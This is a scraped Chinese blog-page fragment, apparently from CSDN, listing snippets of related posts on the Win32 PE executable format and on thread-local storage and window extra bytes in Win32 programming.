深入探究 Win32 PE 文件格式,第二部分 2010年11月09日   Matt Pietrek 这篇文章假定你熟悉 C++ 和 Win32。   概述 Win32 可移植可执行(PE)文件格式被设计为可在所有版本的操作系统、所有受支持的处理器上都可使用的标准可执行文件格式。自从它被引入以来,PE 格式经历过一些大的变化,特别是 64 位 Windows 的出现。这篇文章的第一部...

ljf70ljf 275

PE权威指南(GJZQ)

20140507 ...DataNotFound...

ShowNews的专栏 10万+

Win32多线程编程 — 线程局部存储

预留内存携带附加信息的设计 有时候,将数据与一个对象的实例关联起来是很有帮助的。这种设计要求预留一定的内存,一倍特定附加数据的存储。 通过调用SetWindowWord或SetWindowLong函数将数据与一个指定的窗口关联起来,数据保存在窗口附加内存块中。窗口内存块即是一种窗口对象(HWND)的附加数据(window extra bytes),参考WNDCLASS.cbWndExtra字段

asfdasfdsf的专栏 1218
上一篇: Tiny Download&&Exec ShellCode
下一篇: TCP序列号和确认号详解
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值